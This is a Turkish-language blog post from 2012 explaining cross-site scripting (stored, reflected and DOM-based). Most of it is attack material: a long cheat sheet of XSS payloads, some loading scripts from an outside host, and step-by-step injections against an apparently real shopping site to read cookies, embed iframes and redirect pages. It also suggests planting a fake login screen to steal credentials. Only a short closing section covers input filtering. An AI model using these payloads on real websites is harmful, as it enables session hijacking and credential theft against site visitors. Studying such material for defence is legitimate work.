26 Haziran 2012 Salı

Derinlemesine XSS (DOM, Stored, Reflected) Saldırısı


XSS Saldırısı (Cross Site Scripting Attack) diğer adı ile Çapraz Site Betik Saldırısı, Asp, PHP, ASP.NET gibi birçok web programlama dilinde meydana gelen, bir betik kod (HTML, JavaScript v.s) saldırısıdır. Saldırganın (Attacker) hedefi, web uygulamasına çeşitli kod betikleri yazarak XSS saldırısının çalışmasını sağlamaktır. XSS; HTML, JavaScript v.b betikler kullanarak gerçekleştirilir. Tüm web programlama dilleri çalışma anında (Run Time), son kullanıcı (End User)’ya HTML ile geri dönüş yapar. Detaylandıracak olursak eğer; ASP.NET (.aspx) ile programlanmış olan bir web uygulaması, son kullanıcı tarafından çalıştırıldığında, web uygulaması HTML olarak görüntülenir. Bu özelliğinden dolayı HTML global bir görüntüleme dili haline gelmiştir. Yapılacak olan saldırı global HTML-JavaScript kullanılarak gerçekleştirilecektir.
Ayrıca bilinmesi gerekenler:
Cookie (Çerez): Bir web sitesinin, oturum kimliği (Session ID), kimlik (ID), şifre (Password) gibi bazı bilgileri son kullanıcının bilgisayarında tuttuğu genel bilgi dosyasıdır. Örnek verecek olursak eğer, bir web sitesine girip oturum açmak istediğinizde giriş (login) ekranında “Beni Hatırla!” gibi bir seçenek sunulduğunu görürsünüz. Bu seçeneği aktif olarak işaretleyip oturum açtığınızda, giriş yaptığınız bilgisayarda sürekli oturumunuz açık kalacaktır. (Tarayıcının geçmişini silmediğiniz sürece) Bu işlem, hedef web sitesinin bilgisayarınıza bir Cookie dosyası yüklemesinden kaynaklanır. Siteye her giriş yaptığınızda Cookie bilginiz okunur ve oturumunuz açılarak siteye giriş yapmış olursunuz.
Resim-01
Cookie’ler Resim-01’deki gibi bilgisayarımızda bulunur. Resim-01 Internet Explorer’ın saklamış olduğu Cookie’leri gösterir. Cookie: dosyanın bir Cookie dosyası olduğunu belirtir. eyup.celik Windows’ta oturum açan kullanıcı adıdır. Örneğin, bilgisayarı Administrator kullanıcı ile kullanıyorsanız Cookie:Administrator@ şeklinde olacaktır. @’ten sonraki kısım ise cookie’yi çalıştıran siteyi temsil eder. Internet Explorer için cookie klasörüne, C:\Documents and Settings\eyup.celik\Local Settings\Temporary Internet Files bu yol ile ulaşabilirsiniz. eyup.celik olan klasör adını Windows oturum adınız ile değiştirmeniz gerekir.
DOM (Document Object Model – Belge Nesnesi Modeli): Internet tarayıcıları (Internet Explorer, Mozilla Firefox, Opera, Safari v.s) girmiş olduğumuz her web sayfasını bir belge olarak kabul eder. Girdiğimiz web sayfasında bulunan tüm materyaller (Image, buton, textbox v.s) ise bir nesne olarak kabul edilir. Örneğin web sitesinde bulunan bir resim, bir buton v.s birer nesnedir. DOM sayfada bulunan nesnelere müdahale etmemizi sağlar. Bunun için JavaScript gibi bazı script dillerinin kullanılması gerekir.

Zararlı olarak kullanılabilecek DOM betikleri.
  • HTML Yazma, Örnek:
    • document.write(…)
    • document.writeln(…)
    • document.body.innerHtml=…
  • Doğrudan DOM Değiştirme (Dahili DHTML olayları), Örnek:
    • document.forms[0].action=… (ve çeşitli koleksiyonları)
    • document.attachEvent(…)
    • document.create…(…)
    • document.execCommand(…)
    • document.body. … (DOM ana nesnesi üzerinden erişen)
    • window.attachEvent(…)
  • Belge URL Değişimi, Örnek:
    • document.location=… (yer, alan ve host atama)
    • document.location.hostname=…
    • document.location.replace(…)
    • document.location.assign(…)
    • document.URL=…
    • window.navigate(…)
  • Pencere Açma Değiştirme, Örnek:
    • document.open(…)
    • window.open(…)
    • window.location.href=… (yer, alan ve host atama)
  • Doğrudan Script Çalıştırma, Örnek:
    • eval(…)
    • window.execScript(…)
    • window.setInterval(…)
    • window.setTimeout(…)
HTTP Request: Web programla dillerinde, web sitesinden kullanıcıya gönderilen ve ya kullanıcılardan web sitesine gönderilen istekler HTTP Request olarak adlandırılır. Sektörde en çok iki adet HTTP Request metodu kullanılır. Bunlar GET ve POST’tur.
GET Metodu: Bir sayfadan bir başka yere veri taşımak üzere tasarlanmıştır. Ayrıca kullanıcı etkileşimlerinde de kullanılmaktadır. Bir örnek verecek olursak eğer, site.com/git.php?id=1&katID=2 GET metodunu kullanmaktadır. Git.php adresinden sonra URL kısmında ?işareti ve devamında bir kriter bulunuyorsa sitede GET metodu kullanılıyor demektir. Bu mantığa göre ?id=1&katID=2 GET metodu ile veriyi bir başka alana taşımaktadır.
POST Metodu: GET metodu ile aynı amaç için kullanılır. Ancak gönderilen veri arka planda gönderilmektedir. URL kısmında herhangi bir ibare bulunmamaktadır. GET metodunda ki örneği uyarlarsak eğer, URL alanında sadece site.com/git.php görünecektir. id ve katID kısımları arka planda post edilir.
XSS saldırıları temelde 2 yöntem ile çalışır. 1’inci yöntem sayfada bulunan ve kullanıcıdan veri girişi isteyen alanlarda yapılır. Örneğin Arama kutusu, yorum alanı v.s. 2’inci yöntem ise URL alanına XSS kodları girerek gerçekleştirilir. Temel mantıkta kullanılan JavaScript kodları kullanılmaktadır. Ancak bunun dışında çeşitli embed kodlarda kullanılabilir. <script>alert("XSS KODU");</script> JavaScript kodu ile XSS saldırısı gerçekleştirilir.
Saldırı Mantığı:
1. Hedef web sitesinde bulunan XSS zafiyeti kullanılarak, siteyi ziyaret eden kullanıcıların oturum bilgileri çalınabilir. (Cookie Hijacking Saldırısı)
2. Ziyaretçi kandırılarak bilgisayarına virüs, trojan v.b zararlı kodlar yüklenebilir. Böylece ziyaretçilerin kimlik bilgileri, şifreleri çalınabilir. Ziyaretçinin bilgisayarı bir zombie bilgisayar haline getirilebilir. (ActiveX, VBScript, Flash son zamanlarda Java kullanılarak)
3. Siteye index atılabilir. Site defaced edilebilir. (DOM Based XSS ile)
4. Sunucuya dosyalar (Shell, Backdoor gibi) yüklenebilir, kredi kartı, v.s gibi bilgiler elde edilebilir (DOM Based XSS ile)
En çok kullanılan XSS kodları:
<code>
{'<script>alert('XSS')</script>
'><script>alert('XSS')</script>
"><script>alert('XSS')</script>
"><script>alert('XSS')</script>
javascript;alert(‘XSS’)
<title>XSS</title>
"><script>alert('xss');</script>+
"><script>alert('X');</script>"><script>alert('X');</script> == X
">’<’script’>alert(’xss’)</’script>
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(XSS)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<s&#99;ript>alert('XSS')</script>
<img src="/javas&#99;ript:alert('XSS')">
%0a%0a<script>alert(\"XSS\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
&lt;script&gt;alert('XSS');&lt;/script&gt
<script>alert('XSS')</script>
a.jsp/<script>alert('XSS')</script>
a?<script>alert('XSS')</script>
"><script>alert('XSS')</script>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document.domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
"<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('/xss');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<BASE HREF="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript:alert('XSS')"}
</code>
Stored XSS Saldırısı: Stored XSS saldırısı oldukça tehlikeli saldırı yöntemlerinden biridir. Daha çok forumlar, yorum alanları ve ziyaretçi defteri gibi alanlarda kullanılır. Bu alanlara gönderilen XSS kodları veritabanına kaydedilir. Sayfaya giren her kullanıcı için sayfayı görüntülerken XSS saldırısına maruz kalır.
Reflected XSS Saldırısı: XSS saldırı URL alanlarına ve ya veri giriş alanlarına yapılır. Yapılan bu saldırı sadece XSS saldırısı yapan kullanıcı tarafından görülür. Ziyaretçiler bu saldırıyı göremezler. Bu yüzden URL alanında çalışan Reflected XSS saldırılarında, saldırgan URL adresini e-mail gibi çeşitli iletişim kanalları ile göndererek kurban avına çıkar.
DOM XSS Saldırısı: DOM XSS saldırısı en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin index’i değiştirilebilir, sayfanın kodları ile oynanabilir, virüs, trojan gibi zararlı kodlar sayfaya entegre edilebilir.
POST metodu ile çalışan klasik bir XSS saldırısı yapalım şimdi. Bunun için http://ceh.eyupcelik.com.tr/ceh/ch003/index.php adresini kullanabilirsiniz. OWASP tarafından güvenlik eğitimleri için dağıtılan Hackademic projesinden derlenmiştir. Kullanıcının girmiş olduğu veriler POST metodu kullanılarak iletilir. Bunun için klasik <script>alert('XSS!');</script> XSS kodunu verialanına yazdıktan sonra XSS Test Et! Butonunu tıklayarak XSS saldırısını test edelim. Gönderdiğimiz kodlar sayfa üzerinde çalışıp bize XSS! Kodunu mesaj penceresi olarak geri döndürecektir.
Get metodu ile çalışan Reflected XSS saldırısına örnek verecek olursak eğer,
http://www.eshoppingmadness.com sitesine girin ve arama kısmına deneme yazın. Sitenin URL alanı http://www.eshoppingmadness.com/search.php?s=denemeolacaktır. Dikkat ederseniz eğer, arama alanına girmiş olduğumuz deneme yazısı kullanıcıdan alınıp search.php adresine s=deneme query stringi ile aktarılmış. URL query string ile gelen bu veriyi bir kriter olarak değerlendirip sonuçları ekrana getirmektedir. Biz bu s=deneme query stringine zararlı bir XSS kodu girelim ve sonuçları gözlemleyelim. URL satırındaki s=denemeyi silip s="/></a></><img src=1.gif onerror=alert(1)> kodunu yazalım. Şimdi ekrana 1 diye bir uyarı gelecektir. XSS kodu sayfada başarılı bir şekilde çalıştı. Şimdi URL de girdiğimiz verileri temizleyip, s="/></a></><img src=1.gif onerror=alert(document.cookie)> yazalım. Ekrana sitenin cookie bilgileri gelecektir. XSS saldırısı başarılı bir şekilde gerçekleştirildi. Bundan sonrası hacking mantığını ne kadar etkili kullandığınıza bağlıdır.
Bir örnek ile pekiştirelim. http://www.eshoppingmadness.com sitesindeki search.php sayfasına bir iframe kodu ekleyelim. Bunun içinhttp://www.eshoppingmadness.com/search.php?s="/><iframe src=contact-us.php width=1024 height=600></iframe> URL alanına bu kodu adresi yazalım. Ardından sayfayı gözlemleyelim. Göreceğiniz üzere arama sayfasında contact-us.php sayfasını iframe yöntemi ile görüntüledik. Bunun yerine zararlı bir kod da ekleyebilirdir. Yada kullanıcı adı ve şifreyi sıfırlamak için fake bir login ekranıda atabilirdik. Böylece sayfa giren kullanıları hazırladığımız tuzağa düşürerek bilgilerini elde edebiliriz.
Dom Based XSS saldırı için de bir örnek vereyim. http://www.eshoppingmadness.com adresine girip search.php ye erişelim. Query stringi biraz değiştirelim. Yukarıda vermiş olduğum DOM betiklerinden document.location’ı kullanalım. URL alanımız http://www.eshoppingmadness.com/search.php?s=<script>document.location=('sitemap.php');</script> şeklinde olsun. Bu kodu çalıştırdığımızda sayfanın sitemap.php ye yönlendiğini göreceksiniz. Dediğim gibi bundan sonraki kısım mantık kurmanıza bağlı.
Güvenlik:
Form alanlarında, kullanıcıların veri girişi yaptığı alanlarda ve URL satırında ` % ‘ ; / ? : @ = & <> \ ^ ~ [ ] { } “ # | kodlarını filtreleyin. Mümkün olduğu sürece mutlaka web siteniz için bir güvenlik yazılımı kullanın. ASP.NET programcılarının ise her sayfaya mutlaka System.Web.Security kütüphanesini eklemelerini tavsiye ederim.